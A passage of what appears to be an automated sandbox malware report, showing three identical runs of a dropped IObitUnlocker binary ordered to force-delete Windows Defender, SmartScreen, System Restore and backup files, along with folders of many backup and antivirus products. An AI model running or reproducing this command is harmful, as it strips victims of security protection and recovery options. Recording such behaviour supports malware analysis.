                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthService.exe_fuck","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\System32\wbem\Repository","C:\Windows\System32\wbem\AutoRecover","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\ProgramData\Acronis\BackupAndRecovery","C:\ProgramData\Acronis\TrueImageHome","C:\ProgramData\Acronis\Schedule2","C:\ProgramData\Acronis\Agent","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Redo","C:\Program Files (x86)\Redo","C:\ProgramData\Redo","C:\Program Files\R-Drive","C:\Program Files (x86)\R-Drive","C:\ProgramData\R-Drive","C:\Program Files\Veeam","C:\Program Files (x86)\Veeam","C:\ProgramData\Veeam","C:\Program Files\ShieldApps","C:\Program Files (x86)\ShieldApps","C:\ProgramData\ShieldApps","C:\Program Files\Horizon DataSys","C:\Program Files (x86)\Horizon DataSys","C:\ProgramData\Horizon DataSys","C:\Program Files\Faronics","C:\Program Files (x86)\Faronics","C:\ProgramData\Faronics","C:\Program Files\Toolwiz Time Freeze","C:\Program Files (x86)\Toolwiz Time Freeze","C:\ProgramData\Toolwiz Time Freeze","C:\Program Files\Raxco","C:\Program Files (x86)\Raxco","C:\ProgramData\Raxco","C:\Program Files\Drive Snapshot","C:\Program Files (x86)\Drive Snapshot","C:\ProgramData\Drive Snapshot","C:\Program Files\Deep Freeze","C:\Program Files (x86)\Deep Freeze","C:\ProgramData\Deep Freeze","C:\Program Files\Reboot Restore Rx","C:\Program Files (x86)\Reboot Restore Rx","C:\ProgramData\Reboot Restore Rx","C:\Program Files\R-Tools Technology Inc","C:\Program Files (x86)\R-Tools Technology Inc","C:\ProgramData\R-Tools Technology Inc","C:\Program Files\R-Drive Image","C:\Program Files (x86)\R-Drive Image","C:\ProgramData\R-Drive Image","C:\Program Files\R-Studio","C:\Program Files (x86)\R-Studio","C:\ProgramData\R-Studio","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software\Avast","C:\Program Files (x86)\AVAST Software\Avast","C:\Program Files\AVAST Software\SecureLine","C:\Program Files (x86)\AVAST Software\SecureLine","C:\Program Files\AVAST Software\Cleanup","C:\Program Files (x86)\AVAST Software\Cleanup","C:\Program Files\AVAST Software\Driver Updater","C:\Program Files (x86)\AVAST Software\Driver Updater","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\Program Files\Fortinet\FortiClient","C:\Program Files (x86)\Fortinet\FortiClient","C:\Program Files\Fortinet\FortiTray","C:\Program Files (x86)\Fortinet\FortiTray","C:\Program Files\Fortinet\FortiESNAC","C:\Program Files (x86)\Fortinet\FortiESNAC","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\Program Files\Malwarebytes\Anti-Malware","C:\Program Files (x86)\Malwarebytes\Anti-Malware","C:\Program Files\Malwarebytes\Endpoint Agent","C:\Program Files (x86)\Malwarebytes\Endpoint Agent","C:\Program Files\Malwarebytes\Browser Guard","C:\Program Files (x86)\Malwarebytes\Browser Guard","C:\ProgramData\Malwarebytes","C:\ProgramData\Malwarebytes\MBAMService","C:\ProgramData\Malwarebytes\MBAMService\ScanResults","C:\ProgramData\Malwarebytes\MBAMService\Quarantine","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\CloneAppParameters.exe","C:\Windows\CloneAppParameters.exe","C:\ProgramData\CloneAppParameters.exe","C:\Windows\system32\OneDrivePatcher.exe","C:\Windows\OneDrivePatcher.exe","C:\ProgramData\OneDrivePatcher.exe","C:\Windows\system32\PhotoRecoveryTable.exe","C:\Windows\PhotoRecoveryTable.exe","C:\ProgramData\PhotoRecoveryTable.exe","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                                                                                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                                                PID:3968
                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthService.exe_fuck","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\System32\wbem\Repository","C:\Windows\System32\wbem\AutoRecover","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\ProgramData\Acronis\BackupAndRecovery","C:\ProgramData\Acronis\TrueImageHome","C:\ProgramData\Acronis\Schedule2","C:\ProgramData\Acronis\Agent","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Redo","C:\Program Files (x86)\Redo","C:\ProgramData\Redo","C:\Program Files\R-Drive","C:\Program Files (x86)\R-Drive","C:\ProgramData\R-Drive","C:\Program Files\Veeam","C:\Program Files (x86)\Veeam","C:\ProgramData\Veeam","C:\Program Files\ShieldApps","C:\Program Files (x86)\ShieldApps","C:\ProgramData\ShieldApps","C:\Program Files\Horizon DataSys","C:\Program Files (x86)\Horizon DataSys","C:\ProgramData\Horizon DataSys","C:\Program Files\Faronics","C:\Program Files (x86)\Faronics","C:\ProgramData\Faronics","C:\Program Files\Toolwiz Time Freeze","C:\Program Files (x86)\Toolwiz Time Freeze","C:\ProgramData\Toolwiz Time Freeze","C:\Program Files\Raxco","C:\Program Files (x86)\Raxco","C:\ProgramData\Raxco","C:\Program Files\Drive Snapshot","C:\Program Files (x86)\Drive Snapshot","C:\ProgramData\Drive Snapshot","C:\Program Files\Deep Freeze","C:\Program Files (x86)\Deep Freeze","C:\ProgramData\Deep Freeze","C:\Program Files\Reboot Restore Rx","C:\Program Files (x86)\Reboot Restore Rx","C:\ProgramData\Reboot Restore Rx","C:\Program Files\R-Tools Technology Inc","C:\Program Files (x86)\R-Tools Technology Inc","C:\ProgramData\R-Tools Technology Inc","C:\Program Files\R-Drive Image","C:\Program Files (x86)\R-Drive Image","C:\ProgramData\R-Drive Image","C:\Program Files\R-Studio","C:\Program Files (x86)\R-Studio","C:\ProgramData\R-Studio","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software\Avast","C:\Program Files (x86)\AVAST Software\Avast","C:\Program Files\AVAST Software\SecureLine","C:\Program Files (x86)\AVAST Software\SecureLine","C:\Program Files\AVAST Software\Cleanup","C:\Program Files (x86)\AVAST Software\Cleanup","C:\Program Files\AVAST Software\Driver Updater","C:\Program Files (x86)\AVAST Software\Driver Updater","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\Program Files\Fortinet\FortiClient","C:\Program Files (x86)\Fortinet\FortiClient","C:\Program Files\Fortinet\FortiTray","C:\Program Files (x86)\Fortinet\FortiTray","C:\Program Files\Fortinet\FortiESNAC","C:\Program Files (x86)\Fortinet\FortiESNAC","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\Program Files\Malwarebytes\Anti-Malware","C:\Program Files (x86)\Malwarebytes\Anti-Malware","C:\Program Files\Malwarebytes\Endpoint Agent","C:\Program Files (x86)\Malwarebytes\Endpoint Agent","C:\Program Files\Malwarebytes\Browser Guard","C:\Program Files (x86)\Malwarebytes\Browser Guard","C:\ProgramData\Malwarebytes","C:\ProgramData\Malwarebytes\MBAMService","C:\ProgramData\Malwarebytes\MBAMService\ScanResults","C:\ProgramData\Malwarebytes\MBAMService\Quarantine","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\CloneAppParameters.exe","C:\Windows\CloneAppParameters.exe","C:\ProgramData\CloneAppParameters.exe","C:\Windows\system32\OneDrivePatcher.exe","C:\Windows\OneDrivePatcher.exe","C:\ProgramData\OneDrivePatcher.exe","C:\Windows\system32\PhotoRecoveryTable.exe","C:\Windows\PhotoRecoveryTable.exe","C:\ProgramData\PhotoRecoveryTable.exe","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                                                                                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                                                PID:5280
                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthService.exe_fuck","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\System32\wbem\Repository","C:\Windows\System32\wbem\AutoRecover","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\ProgramData\Acronis\BackupAndRecovery","C:\ProgramData\Acronis\TrueImageHome","C:\ProgramData\Acronis\Schedule2","C:\ProgramData\Acronis\Agent","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Redo","C:\Program Files (x86)\Redo","C:\ProgramData\Redo","C:\Program Files\R-Drive","C:\Program Files (x86)\R-Drive","C:\ProgramData\R-Drive","C:\Program Files\Veeam","C:\Program Files (x86)\Veeam","C:\ProgramData\Veeam","C:\Program Files\ShieldApps","C:\Program Files (x86)\ShieldApps","C:\ProgramData\ShieldApps","C:\Program Files\Horizon DataSys","C:\Program Files (x86)\Horizon DataSys","C:\ProgramData\Horizon DataSys","C:\Program Files\Faronics","C:\Program Files (x86)\Faronics","C:\ProgramData\Faronics","C:\Program Files\Toolwiz Time Freeze","C:\Program Files (x86)\Toolwiz Time Freeze","C:\ProgramData\Toolwiz Time Freeze","C:\Program Files\Raxco","C:\Program Files (x86)\Raxco","C:\ProgramData\Raxco","C:\Program Files\Drive Snapshot","C:\Program Files (x86)\Drive Snapshot","C:\ProgramData\Drive Snapshot","C:\Program Files\Deep Freeze","C:\Program Files (x86)\Deep Freeze","C:\ProgramData\Deep Freeze","C:\Program Files\Reboot Restore Rx","C:\Program Files (x86)\Reboot Restore Rx","C:\ProgramData\Reboot Restore Rx","C:\Program Files\R-Tools Technology Inc","C:\Program Files (x86)\R-Tools Technology Inc","C:\ProgramData\R-Tools Technology Inc","C:\Program Files\R-Drive Image","C:\Program Files (x86)\R-Drive Image","C:\ProgramData\R-Drive Image","C:\Program Files\R-Studio","C:\Program Files (x86)\R-Studio","C:\ProgramData\R-Studio","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software\Avast","C:\Program Files (x86)\AVAST Software\Avast","C:\Program Files\AVAST Software\SecureLine","C:\Program Files (x86)\AVAST Software\SecureLine","C:\Program Files\AVAST Software\Cleanup","C:\Program Files (x86)\AVAST Software\Cleanup","C:\Program Files\AVAST Software\Driver Updater","C:\Program Files (x86)\AVAST Software\Driver Updater","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\Program Files\Fortinet\FortiClient","C:\Program Files (x86)\Fortinet\FortiClient","C:\Program Files\Fortinet\FortiTray","C:\Program Files (x86)\Fortinet\FortiTray","C:\Program Files\Fortinet\FortiESNAC","C:\Program Files 